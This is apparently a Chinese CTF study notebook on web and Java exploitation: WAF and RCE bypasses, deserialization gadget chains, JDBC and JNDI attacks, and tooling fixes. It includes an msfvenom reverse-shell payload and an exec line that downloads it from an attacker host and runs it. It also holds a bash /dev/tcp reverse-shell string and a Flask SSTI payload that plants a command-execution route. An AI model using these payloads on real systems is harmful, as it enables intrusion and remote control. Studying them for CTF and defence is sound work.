ctf平台
ctf复现:https://gz.imxbt.cn/account/login
Common-Collections
CC链

trick绕过
RCE绕过preg_match
https://zhuanlan.zhihu.com/p/392606966
PHP特性绕过WAF函数,如get_defined_vars()
https://www.runoob.com/php/php-variable-handling-functions.html
无字母数字RCE:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#php5shell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
反弹shell绕过
kali默认的是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell才能使用bash反弹shell
验证码爆破可以用burp+ddddocr
在可以exec执行任意代码时,可以msfvenom生成对应语言的反弹shell txt,并执行,如php:
1 | msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=192.168.127.131 LPORT=4321 > /var/www/html/shell.txt |
1 | exec('wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php'); |
ssti绕过
https://blog.csdn.net/m0_73185293/article/details/131695528
JAVA URLClassLoader过滤了http和file协议可以用jar协议绕过
审代码,看到有读文件,然后根据布尔值来读的,一定要想起竞争!遇到很多次了
sql fuzz(来自2025ciscn初赛):https://www.cnblogs.com/perl6/p/6120045.html#3573210
有反序列化写文件链子,无法加载charsets.jar的情况(当然也能运行其他非黑名单code才行):因为我们手上有附件,可以用-verbose:class本地运行jar包,看看加载了哪些jar
1、没有加载dnsns.jar,可以通过反序列化sun.net.spi.nameservice.dns.DNSNameServiceDescriptor触发dnsns.jar加载
2、没有加载jce.jar,可以通过重写jar中的javax.crypto.NoSuchPaddingException类来加载
路径可以去spring fatjar写charsets.jar文里用字典全部遍历一遍
redis持久化文件dump.rdp,有任意文件读+redis的时候考虑使用(2026软件赛初赛),字典也应该跑一遍(2025华为杯决赛)
codeql不构建的情况下生成数据库(就可以不编译了,提前jadx反编译出来:
1 | codeql database create db-name --language=java --source-root=./sources --build-mode=none |
有数据库构建:
1 | codeql database create db_name --language="java" --command="mvn clean install --file pom.xml" --source-root=~/micro-service-seclab/ |
单参数exec绕过
一般用的是单参数exec

https://blog.csdn.net/whatday/article/details/107098353
这篇文章讲了java单参数exec反弹shell应该使用Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");
fastjson
fastjson目标不出网,<=1.2.24下打BCEL,需要回显可以打内存马
目标出网 ,<=1.2.47,打JNDI
1.2.68+commons-io能写文件
github上有payload项目,我所知的唯一缺少的是fastjson>1.2.36+有h2依赖能打jdbc attack
在线java内存马MemShellParty生成https://party.mem.mk/ui
Gadget
别人的导图,太叼了https://github.com/1diot9/MyJavaSecStudy/blob/main/%E5%88%A9%E7%94%A8%E9%93%BE%E5%AF%BC%E5%9B%BE
java-search-object从线程找变量
一个gadget衔接合集,仅统计常用衔接链
Hessian2反序列化和Kryo、FST反序列化会触发hashMap.put,hashCode/equals/compareTo
发现一个超全的hessian反序列化分析:https://1diot9.github.io/2026/03/06/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/
compare通常伴随着任意getter调用(因为compare需要逐项取值对比)
CodeSigner.toString->List.get()(See lilctf 2025)
BadAttributeValueExpException.readObject -> toString
XString.equals -> toString
HashMap.readObject() -> AbstractMap.equals -> UIDefault$TextAndMnemonicHashMap.get -> toString
EventListenerList.readObject() -> tostring
UTF-8 Overlong Encodeing 绕过字符串正则型WAF
RMIConnector#connect ->findRMIServer ->findRMIServerJRMP 对base64String二次反序列化
(CC 3.2.1&&CC 4) TransformedList.set() -> transform
(JDK8u65) AnnotationInvocationHandler.invoke -> get
(jdk7u21/8u20 rce) AnnotationInvocationHandler.equalsImpl -> invoke
PriorityQueue.readObject -> compare
(cb) PropertyUtils.getProperty -> getter
(jackson/springboot) POJONode.toString -> JSON.writeValueAsString ->getter
(jackson) ObjectMapper.readValue -> setter/constructor/getter
(jackson) JSONFactory.createParser -> setter/constructor
(fastjson) JSON.parse -> setter
(fastjson) JSON.parseObject -> setter/getter
(fastjson) JSONObject.toString -> getter (1.2.83都能打原生二次反序列化)
(Spring-AOP && aspectjweaver) 任意方法调用
signedObject.getObject -> readObject
JdbcRowSetImpl.setAutoCommit(is setter) -> JNDI
JdbcRowSetImpl.getDatabaseMetaData(is getter) -> JNDI
LdapAttribute.getAttributeDefinition(is getter) -> JNDI
(resin) com.caucho.naming.QName#toString -> JNDI
(Tomcat) BasicDataSource.getConnection -> Class.forName
(hibernate v4) BasicPropertyAccessor$BasicGetter.get -> getter
(hibernate v5) GetterMethodImpl.get() -> getter
(hibernate 反序列化) ComponentType.getPropertyValue() -> get
(c3p0) ReferenceableUtils#ReferenceSerialized.referenceToObject -> Reference JNDI
(rome) ToStringBean.toString -> getter
(rome) EqualsBean.beanEquals -> getter
(rome) EqualsBean.hashCode -> toString
(spring) HashMap.put -> HotSwappableTargetSource.equals -> equals
HashMap、HashSet、HashTable 碰撞也能触发equals(见https://godownio.github.io/2024/09/26/rome-lian/#EqualsBeans%E9%93%BE)
1 | HashMap/HashSet/HashTable.readObject |
UsingToStringOrdering.compare ->toString
(spring) ClassPathXmlApplicationContext.ClassPathXmlApplicationContext -> spEL注入
com.google.api.client.util.IOUtils.deserialize二次反序列化(见alictf 2026 Fileury)
CC Gadget
CC Gadget提纯
TransformedMap.checkSetValue -> transform (CC1)
LazyMap.get -> transform (CC1)
TransformingComparator.compare -> transform (CC2)
TiedMapEntry.hashCode -> get (CC3)
TrAXFilter.TrAXFilter -> newTransformer (CC3)
TiedMapEntry.toString -> getValue -> get (CC5)
LazyMap.get->put
JDBC Attack
打CPX的如果有Tomcat,都可以搭配ascii-jar写文件加载
(databricks) ->JNDI(alictf 2026MHGA)
(mysql)fakeserver->readObject原生反序列化
(PostgreSQL)socketFactory+socketFactoryArg->constructor(打CPX)
(PostgreSQL)loggerLevel+loggerFile->writeFile
(h2database)RUNSCRIPT->远程加载SQL 出网
(h2database)CREATE TRIGGER创建触发器->执行JavaScript/执行java代码/Groovy AST
(Jre17 +h2database)commons-io写文件+commons-beanutils MethodUtils反射调用System.load
(IBM DB2)->JNDI
(ModeShape)->JNDI
(Derby)JNDIServer->readObject原生反序列化
(sqlite)jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db上传任意文件->create view劫持select语句->load_extension加载动态链接库
(Tomcat)org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory JNDI->JDBC
JNDI HignVersion
getObjectInstance大集合
(Hessian)HessianProxyFactory JNDI to Hessian反序列化
(Tomcat)beanFactory 构造一个恶意ResourceRef类,forceString参数调用任意方法
org.apache.catalina.users.MemoryUserDatabaseFactory JNDI to XXE
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory JNDI to JDBC
(vibur)ViburDBCPObjectFactory->JDBC Attack
jwt
一般jwt直接破解不了的,考虑原型链污染key。一般jwt考题都伴随了原型链污染
面试问了jwt相对session/cookie的优劣势:可以放在cookie外的header头,防止csrf
hessian
hessian一般伴随着能触发hashMap.put hashCode/equals/compareTo
hessian打TemplatesImpl不能readObject初始化tfactory,可以选择直接SignedObject->TemplatesImpl
这个超全:
https://1diot9.github.io/2026/03/06/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/
我曹,关注了1diot9,这链子图无敌了,直接偷

这里可以用两种打法
- 打法1:hessian原生链
createValue反射调用任意static方法和构造函数,因为这里没有newInstance

HashMap.readObject -> AbstractMap.equals ->javax.swing.UIDefaults$TextAndMnemonicHashMap.get->getFromHashtable->SwingLazyValue(only jdk8)/javax.swing.UIDefaults$ProxyLazyValue.createValue->JavaUtils.writeBytesToFilename(FileWrite)/System.load
SwingLazyValue jdk8以上没了,所以jdk11用UIDefaults$ProxyLazyValue打,写dll+load加载或者CPX都可以,只要出网
另外反射调用MethodUtil#invoke可以扩大到任意方法,进而加载字节码或者Runtime
- 打法2:
另外Hessian反序列化除了触发put,还有hashCode/equals/compareTo
HashMap.readObject -> AbstractMap.equals ->javax.swing.UIDefaults$TextAndMnemonicHashMap.get -> toString
这里还有jackson,所以拼上结束
POJONode.toString -> JSON.writeValueAsString ->getter
Lijnux有sun.print.UnixPrintService的printer可以携带参数,然后里面有好多getter都会execCmd该参数的内容,不过这个类只在windows下有,而且是私有+没继承Serializable接口,但是在不需要Serializable场景下调用getter(hessian)就会触发漏洞,因为是私有类所以fastjson/jackson/snakeYaml这种几乎不用考虑了
https://aecous.github.io/2023/10/01/%E5%88%9D%E6%8E%A2UnixPrintService/
signedObject当然也不错
JRMP
我其实有个疑问是因为JEP290,高版本不是不能打JRMP了吗
关于JRMP的两种攻击流程如下
第一种攻击方式
个人理解:基于RMI的反序列化中的客户端打服务端的类型
我们需要先发送指定的payload(JRMPListener)到存在漏洞的服务器中,使得该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。
我们还需要在我们自己的服务器使用exploit(JRMPClient)与存在漏洞的服务器进行通信,并且发送一个利用链,达到一个命令执行的效果。
简单来说就是将一个payload(JRMPListener)发送到存在漏洞的服务器,存在漏洞的服务器反序列化操作该payload(JRMPListener)过后会在指定的端口开启RMI监听,然后再通过exploit(JRMPClient) 去发送利用链载荷,最终在存在漏洞的服务器上进行反序列化操作。二次反序列化这一块
第二种攻击方式
个人理解:基于RMI的反序列化中的服务端打客户端的类型,这种攻击方式在实战中比较常用
将exploit(JRMPListener)作为攻击方进行监听。
我们发送指定的payloads(JRMPClient)使得存在漏洞的服务器向我们的exploit(JRMPListener)进行连接,连接后exploit(JRMPListener)则会返回给存在漏洞的服务器序列化的对象,而存在漏洞的服务器接收到了则进行反序列化操作,从而进行命令执行的操作。
PS:这里的payload和exploit就是指的不同包下的JRMPListener和JRMPClient!
Ref:https://www.cnblogs.com/zpchcbd/p/14934168.html
而且这里开监听用的是yso exploit下的代码,另一端执行用的payloads下的代码。打JNDI的话直接输地址就行了,连Client都省了
所以第二种打法是无版本限制的
另外,当个乐子看,在 exploit/JRMPListener 和 payloads/JRMPClient 的利用过程中,这个 server 端和 client 端,攻击者和受害者的角色是可以互换的,在你去打别人的过程中,很有可能被反手一下,所以最好的情况就是,只是发送数据,不去接受另一端传过来的信息,所以说用这个 exploit/JRMPClient 是不会自己打自己的
所以如果打JRMPLisenter,这里的poc是直接改ysoserial的这里,好像不用改源码也行?参数指定就行了

Client直接lookup
initialContext.lookup("rmi://127.0.0.1:1399/any");
这里其实来自alictf2026MHGA的非预期我才学到的,之前一直都没能理解
无回显问题
flask SSTI无回显
1 | {{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell3%27,%20%27shell2%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27ls%20/%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}} |
pickle不出网无回显
1 | import base64 |
other骚报错解决
特别坑点:注意yakit发包 ,post的base64数据一定要URL编码呀!
maven打包问题
经常遇到打包的问题,spring环境下会自动打包lib目录下的依赖,成为fatJAR形式
不是spring项目也能打包成fatJAR
- 生成fatJAR,而且是深度耦合,意思是会把依赖全部解压后放到jar中
1 | <!-- 使用 maven-assembly-plugin --> |
如果不需要解压,想把源代码的lib目录下的依赖放到jar的lib目录下,而不解压,可用以下方式:
- 先把依赖全部复制到源代码lib目录,然后用assembly.xml打包
1 | <plugin> |
assembly.xml:
1 | <assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0" |
paython传参问题
request.form.get()是接收POST表单,且表单的Content-Type是application/x-www-form-urlencoded(好像还能接收一个),反正不能是application/json
POST数据需要url转义一下,比如role本来加密出来是role="ax5K/oHZwZnVglrUvxHLK+qzifNPoCLMDMYZ6CaH1kY=",传过去+因为URL编码变为空格,所以AES解密失败
idea文件咖啡杯问题
idea java文件变成茶杯是没办法调试和find Usages的,需要把源代码目录标记为源代码根目录。比如分析Tomcat源码:

jinja2安装问题
jinja2 报cannot import name ‘Markup‘ from ‘jinja2‘
- 先卸载已经安装的jinja2:
pip uninstall jinja2 - 安装 2.11.3版本(目前已知该版本有‘Markup’模块)
pip install jinja2==2.11.3 - 然后报’soft_unicode’ from ‘markupsafe’
1 | python -m pip install markupsafe==2.0.1 |
- 报import name ‘url_quote’ from ‘werkzeug.urls’
pip list找到flask版本

访问flask源码
https://github.com/pallets/flask
找到对应的tag,访问setup.py

尝试把werkzeug降到0.14

fenjing安装问题
- jinja ssti 神器 fenjing安装:
1 | pipx install fenjing |
python创建虚拟环境后(pycharm能创建虚拟venv),在 venv\Scripts\目录下使用activate进入虚拟环境命令行,pip下载虚拟环境依赖包。(注意pip时关掉代理,清华源屏蔽国外流量)
nodejs原型链污染无效问题
nodejs原型链污染记得改Content-Type为application/json
nodejs有原型链污染,python也有
proc ctf常用文件信息
进行内网探测时可以读取
1 | /proc/net/arp |
proc/进程号/cmline存储着启动当前程序的命令
1 | /proc/2889/cmdline |
cwd文件存储了当前进程环境的运行目录
1 | /proc/1289/cwd |
proc/self表示当前进程目录。等同于/proc/本进程id。所以获取当前进程命令也可以用
1 | /proc/self/cmdline |
静态代码块执行问题
众所周知,类加载分为以下几个部分:

可简单认为加载连接->初始化->实例化->使用
其中加载连接什么代码块都不会调用,初始化会调用静态代码块,实例化调用构造代码块和构造方法
- 调用静态方法会执行:静态代码块,静态方法
- 给静态属性赋值:静态代码块
- 调用构造方法:静态代码块,构造代码块,构造方法
- Person.class:什么都不会执行
动态加载调用总结如下
默认Class.forName:静态代码块
Class.forName第二个参数传false:什么都不会执行(不初始化版)
ClassLoader.loadClass:什么都不会执行!不进行初始化
defineClass:什么都不做
一个fuzzing fastjson的脚本
1 | import json |